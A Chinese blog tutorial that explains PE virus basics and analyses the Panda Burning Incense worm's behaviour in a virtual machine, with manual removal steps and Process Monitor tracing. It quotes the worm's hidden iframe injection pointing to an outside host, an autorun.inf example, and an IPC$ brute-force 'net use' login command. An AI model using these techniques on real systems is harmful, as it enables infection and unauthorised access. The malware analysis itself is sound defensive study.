您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~
如果你想成为一名逆向分析或恶意代码检测工程师,或者对系统安全非常感兴趣,就必须要认真分析一些恶意样本。熊猫烧香病毒就是一款非常具有代表性的病毒,当年造成了非常大的影响,并且也有一定技术手段。本文将详细讲解熊猫烧香的行为机理,并通过软件对其功能行为进行分析,这将有助于我们学习逆向分析和反病毒工作。后续作者还将对其进行逆向调试,以及WannaCry勒索蠕虫、各种恶意样本及木马的分析。基础性文章,希望您喜欢!同时,本文部分实验参考姜晔老师的视频分析,真的非常佩服和值得去学习的一位老师。技术路上哪有享乐,为了提升安全能力,别抱怨,干就对了~
话不多说,让我们开始新的征程吧!您的点赞、评论、收藏将是对我最大的支持,感恩安全路上一路前行,如果有写得不好的地方,可以联系我修改。基础性文章,希望对您有所帮助,作者的目的是与安全人共同进步,加油!也强烈推荐大家去看看参考文献的视频和书籍。
作者的github资源:
前文分析:
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)
首先简单给大家普及下PE病毒的基础概念和分类,方便大家理解熊猫烧香病毒的行为。
什么是PE病毒?
PE病毒是以Windows PE程序为载体,能寄生于PE文件或Windows系统的病毒程序。PE病毒数量非常之多,包括早起的CIH病毒,全球第一个可以破坏计算机硬件的病毒,它会破坏主办的BIOS,对其数据进行擦写修改。再比如熊猫烧香、机器狗等等,其危害非常之大。
什么叫感染?
说到病毒,不得不提感染。感染是指在尽量不影响目标程序(系统)正常功能的前提下,而使其具有病毒自身的功能。什么叫病毒自身的功能呢?一个病毒通常包括如下模块:
编写病毒的核心技术
如果我们要编写PE病毒,则需要掌握以下的关键技术:
PE病毒分类
以感染目标进行分类,包括:
熊猫烧香病毒属于捆绑释放型,其感染实现起来比较简单,目前很大一部分病毒程序都采用这种方法。捆绑释放型感染时将目标HOST程序作为数据存储在病毒体内,当执行病毒程序时,它先执行病毒程序,然后还原并执行HOST文件,从而保证被感染的程序本身能正常运行,不会引起一些异样。如下图所示,左边是一个正常程序(QQ),感染之后会将病毒放在前面,正常程序放在后面,程序运行之后,病毒会拿到控制权。但缺点是程序图标会显示前面的病毒程序,显示熊猫烧香,这是一个明显的被感染特征。
常见自启动方式
PE病毒运行之后,需要使用自启动技术保证下次开机再运行。常见的自启动方式包括:
注册表中的键值
特定路径的特定文件
系统中的特定位置,如Explorer.exe(显示桌面)。
利用系统自动播放机制Autorun.inf
比如U盘病毒或光盘病毒就是利用U盘或光盘的自动播放功能。目前,也有一些U盘插入之后,不需要你去双击这个U盘,里面的程序就会自启动。
在其他可执行文件嵌入少量触发代码
比如修改引入函数节启动DLL病毒文件(添加相应结构,初始化代码触发),或在特定PE文件代码段插入触发代码等(只需定位可执行程序并运行)。
DLL劫持:替换已有DLL文件
很多应用程序或操作系统执行时,都会去执行DLL文件,如果病毒将自身做成一个DLL文件,同时将系统DLL文件替换。可想而知,系统启动时,它是根据文件名启动的,此时病毒DLL文件就会拿到控制权,如果拿到控制权之后再进一步装载原始DLL文件,这样系统的本身机制也不会受到影响,隐蔽性更强。该方法非常常见,甚至有一些病毒程序将反病毒软件可依赖的DLL文件替换。
下图展示了Autoruns软件看到Windows操作系统进行自启动的选项。如果病毒本身能很好地结合这套机制,它可以做的事情非常多,并且具有很好的隐蔽性。
再比如我们之前分享的WinRAR漏洞(CVE-2018-20250),当恶意ACE文件被受害者解压之后,会释放恶意木马至指定目录(系统自启动文件夹),受害者重启电脑会执行恶意木马。如下图所示:
常见传播方式
一切可对外交互的渠道都可传播,包括:
比如通过可移动存储设备传播的非感染式病毒,即Autorun.inf。下图显示了Autorun.inf文件,如果文件存在U盘根目录,当我们双击这个U盘时,它就会触发对应的病毒,如果选择U盘盘符右键打开或打开资源管理器,这是进入的也是病毒程序。当然演示的是计算器程序。
[AutoRun]
open=mspaint.exe
shell\open=打开(&O)
shell\open\Command=calc.exe
shell\open\Default=1
shell\explore=资源管理器(&X)
shell\explore\Command=calc.exe
最后展示Stuxnet震网事件的漏洞利用过程和启动方式,传统的Autorun方式很容易被禁止掉,而Stuxnet利用的是lnk漏洞(MS10-046),它会在目标U盘下放入lnk快捷方式及病毒程序(如DLL文件)。不管通过什么方式进入U盘,lnk文件会被解析从而触发漏洞,导致U盘中的病毒程序被执行,所以0Day漏洞也越来越多应用到安全攻击中。
熊猫烧香(Worm.WhBoy)是一款拥有自动传播、自动感染硬盘能力和强大的破坏能力的病毒,它不但能感染系统中exe、com、pif、src、html、asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件。该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。2006年10月16日由25岁的湖北武汉李俊编写,2007年1月初肆虐网络,它主要通过下载的文件传染传播。
2006-2007年,“熊猫烧香”可谓是轰动一时。时隔多年,当我们回过头再次来看该事件,“熊猫烧香”的破坏力远大于其技术含量,尤其是对网络信息安全产生深远的影响,毕竟它是第一个让中国普通用户对木马病毒有所认识和感知的。现在从技术角度来看,熊猫烧香病毒技术水平一般,但病毒作者在当时运用的各类技术手法还是值得安全人参考和借鉴的。
正如腾讯安全联合实验室文章说的一样(见参考文献),熊猫烧香病毒如果是放在现在,这些基本是所有病毒木马常见、必备的技术,但技术不可同日而语。随着人工智能、大数据、云计算区块链等先进技术的不断发展,病毒作者也将这些技术手段运用到各类安全攻击中危害大家。典型的包括:
除此之外,供应链攻击、AI对抗样本、视频语音欺骗等攻击延伸都是未来黑客技术的发展趋势,这些都应该引起我们足够的重视。这些病毒事件一方面会警醒我们网络空间安全,另一方面也会督促我们安全人员不断思考和对抗。未知攻,焉知防。
熊猫烧香病毒有它的特殊性,也有它的通用性。下面结合第一部分PE病毒基础知识,介绍熊猫烧香病毒的基本行为。
(1) 自启动方式
注意,该Setup.exe文件被设置为隐藏、只读、系统,虽然我们可以查看“隐藏的项目”,但某些隐藏的系统文件仍然是看不到的。
我们需要进一步设置,取消勾选“隐藏保护的操作系统文件”,才能显示这类文件,如下图所示。而通常设置为隐藏的系统文件是较难被觉察的,尤其当这类文件被写入到某个指定的操作系统目录中,防不胜防。
(2) 感染与传播方式
<iframe src=http://www.ac86.cn/66/index.htm width="0" height="0">
iframe>
(3) 自我隐藏
IPC$ (Internet Process Connection)
在未经授权情况很难将木马拷贝到别人的电脑上。这里需要利用IPC $ 漏洞,调用445端口号实现。445端口中有个IPC $ ,称之为空连接,没有固定文件夹的共享;而C$ 、D$ 、E$ 代表分区共享,是有固定文件夹的。换句话说,445端口打开就相当于我们可以在局域网中轻松访问各种共享文件夹,如果您的电脑是弱密码,很容易就被攻破,这里使用IPC $ 暴力爆破。
IPC $ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC $ 是NT2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT2000在提供了 IPC $ 功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$ 、D$ 、E$ …)和系统目录(C:\windows)共享。所有的这些初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者会利用IPC$访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测。
推荐作者前文:[网络安全自学篇] 木马原理详解、远程服务器IPC $漏洞及木马植入实验
下图展示了使用NTscan软件暴力爆破,该软件支持远程连接IPC $和利用字典文件。运行软件,输入IP地址“10.1.1.2”,选择IPCsan连接共享“IPC $”,成功获取了密码“123.com”。接着与目标主机建立IPC $ 空连接。
net use \\10.1.1.2\ipc$ 123.com /user:administrator
(4) 破坏功能
这就是一个典型的病毒案例,当然现在很多病毒功能都具有相似性,它们有经济利益趋势。当然对于不同的病毒来说,如果它的目的不一样,其行为会存在很大差异。当然熊猫烧香病毒的隐蔽性不是很好,每一个感染者都会知道自己已被感染。
首先,作者将熊猫烧香病毒拷贝到虚拟机系统中,注意一定不能真机去运行,更不能去破坏或伤害他人。该样本不会分享给大家,任何破坏行为都将受到严惩,我仅是从反病毒原理及防御方面进行技术分享。
正如姜晔老师说的一样,手动查杀病毒基本流程如下:
为什么计算机中安装了杀毒软件,还要去手动查杀呢?
因为杀毒软件存在严重的滞后性,必须要等病毒工程师抓取对应样本,并进行分析总结病毒的特征码,再加入杀软病毒库后才能识别病毒,但病毒会存在各种变种,因此手动查杀也是必要的。同时,这对我们反病毒工程师来说也是认识和熟悉病毒的过程,在技术上是非常必要的。这也是现在为什么很多云沙箱、云杀软、动态更新的技术不断出现。
实验目的:
第一步,运行病毒前打开任务管理器观察此时打开的进程。
第二步,运行程序,可以发现任务管理器就自动关闭,并且无法再次打开(总一闪而过)。
那么,我们怎么查看系统中的进程呢?
第三步,打开CMD命令提示符,输入命令“tasklist”查看。
显示进程信息如下图所示,我们发现多出来“spoclsv.exe”进程。该程序即为熊猫烧香病毒创建出来的进程。
第四步,输入“taskkill /f /im 1684”命令强制结束这个进程,其中“/f”表示强制执行,“/im”表示文件镜像,“1684”对应PID值。如下图所示,成功杀掉该进程。
第五步,排查可疑进程之后,我们接下来查询启动项,在运行中输入msconfig。
显示如下图所示,可以看到“spoclsv”启动项。
第六步,检测该启动项创建的位置及键值。
第七步,我们打开注册表查看对应的值,发现创建了一个svcshare的值,并启动对应exe程序。
接着我们打开这个目录查看。
第八步,取消勾选“spoclsv”启动项,点击“确定”。
先暂时不重启计算机。
接着刷新注册表,发现“spoclsv”已经消失,表示启动项已经成功被删除。
第九步,我们需要删除这个病毒,这里使用CMD命令行对其进行删除。
输入“del /f spoclsv.exe”强制删除该文件,显示如下图所示,成功删除。
写到这里,我们是否真的成功清除了熊猫烧香病毒呢?
NO,该病毒还将自身复制到每一个磁盘的根目录下。
第十步,删除隐藏系统只读的文件。
输入“dir /ah”查看隐藏的文件,发现autorun.inf和setup.exe。
接着强制删除这两个文件,也可以将文件属性修改后删除。
重启系统后,所有手动查杀病毒的工作完毕,我们的系统就又恢复正常了。
接着我们通过Process Monitor工具来监控熊猫烧香病毒的行为。
Process Monitor是微软推荐的一款系统监视工具,能够实时显示文件系统、注册表(读写)、网络连接与进程活动的高级工具。它整合了旧的Sysinternals工具、Filemon与Regmon,其中Filemon专门用来监视系统中的任何文件操作过程,Regmon用来监视注册表的读写操作过程。
同时,Process Monitor增加了进程ID、用户、进程可靠度等监视项,可以记录到文件中。它的强大功能足以使Process Monitor成为您系统中的核心组件以及病毒探测工具。
Process Monitor可以帮助使用者对系统中的任何文件、注册表操作进行监视和记录,通过注册表和文件读写的变化,有效帮助诊断系统故障或发现恶意软件、病毒及木马。
下载Procmon.exe软件后,直接双击启动,Procmon会自动扫描分析系统当前程序的运行情况。其中,下图框出来的4个常用按钮作用分别为:捕获开关、清屏、设置过滤条件、查找。最后5个并排的按钮,是用来设置捕获哪些类型的事件,分别表示注册表的读写、文件的读写、网络的连接、进程和线程的调用和配置事件。一般选择前面2个,分别为注册表和文件操作。
输出结果中包括序号、时间点、进程名称、PID、操作、路径、结果、描述等,监控项通常包括:
更多用法推荐作者的前文,下面直接讲解针对熊猫烧香病毒的行为分析。
第一步,打开Procmon.exe软件。
第二步,在筛选器中选择打开Procmon.exe软件,Filter中选择过滤病毒的名称“setup.exe”。
然后点击添加和应用。
第三步,运行熊猫烧香病毒,可以看到它捕获了非常多的病毒信息。
第四步,首先查看病毒的Process Tree(进程树)。
可以看到setup.exe的熊猫烧香病毒程序,并衍生出一个spoclsv.exe程序。位置信息为:
第五步,发现spoclsv.exe程序三次打开cmd,运行net share命令删除各个磁盘共享及系统根目录共享。
此时我们总结病毒的行为:
第六步,回到Procmon软件进行深入分析。关闭其他结果,只显示注册表行为。
接着在过滤器中仅显示对注册表修改的值,如下图所示。
主要修改的是Seed项,就是随机数种子的生成。但仅仅通过这个信息无法推测注册表的行为,所以该病毒对注册表并没有什么实质性影响。
第七步,查看病毒对文件的修改。
在过滤器中删除注册表的修改,然后检测熊猫烧香病毒是否创建文件,创建文件也是病毒的重要手段。
可以看到主要创建的文件是WINDOWS\system32\drivers目录下,其他并没有特别的东西。所以setup.exe程序对我们的系统并没有实质性影响,主要影响还是spoclsv.exe程序,所以下一步操作就是监控spoclsv.exe程序。
第八步,在过滤器中删除对setup.exe的监控,设置对spoclsv.exe程序的监控。
第九步,在过滤器中查看spoclsv.exe删除注册表选项。
从这些名称可以看到它们都是常用的杀毒软件名称,其位置是CurrentVersion的Run下面,即将杀毒软件的自动启项全部删除。
第十步,在过滤器中查看spoclsv.exe创建及设置的注册表键值。
显示结果如下图所示,病毒设置了自启动项,要启动的本体是drivers目录下的spoclsv.exe。
继续查看,发现它对文件实现隐藏,设置该值后,即使我们在文件夹选项中选择显示所有文件和文件夹,也无法显示隐藏文件。
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue
第十一步,在过滤器中查看spoclsv.exe文件操作。
熊猫烧香病毒创建文件包括:
由于创建这些文件之后就对注册表的SHOWALL项进行了设置,使得隐藏文件无法显示,那么有理由相信,所创建出来的这些文件的属性都是“隐藏”的。
第十二步,在过滤器中查看spoclsv.exe网络行为。
从监控结果可以看到,病毒会向局域网发送并接收信息,并不断尝试向外进行连接和发送数据包。
写到这里,我们基本已经分析了熊猫烧香的病毒行为,但这些行为仍然无法彻底了解病毒的行为,还需要通过OllyDbg逆向分析和IDA静态分析来实现。同时,熊猫烧香病毒还有一些其他的行为,包括:
写到这里,这篇文章就介绍完毕,希望对您有所帮助,最后进行简单的总结下。
同时,请读者思考几个问题。
学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。
有点想家和女神了!月是故乡圆啊~接着加油。
2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。
(By:Eastmount 2021-01-04 周一夜于武汉 http://blog.csdn.net/eastmount/ )
参考文献:
姜晔老师真的非常佩服和值得去学习,希望自己和大家的技术能不断提升,加油!